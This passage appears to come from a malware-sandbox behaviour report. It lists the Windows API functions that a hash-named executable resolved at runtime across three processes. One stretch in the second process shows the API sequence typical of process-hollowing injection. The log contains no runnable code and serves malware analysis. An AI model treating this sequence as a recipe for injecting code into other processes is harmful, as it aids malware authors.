InitializeSRWLock (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NetStatisticsGet (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter _OPENSSL_isservice (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetQueueStatus (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseToolhelp32Snapshot (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Heap32First (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Heap32Next (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Heap32ListFirst (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Heap32ListNext (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Thread32First (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Thread32Next (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Module32Next (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" 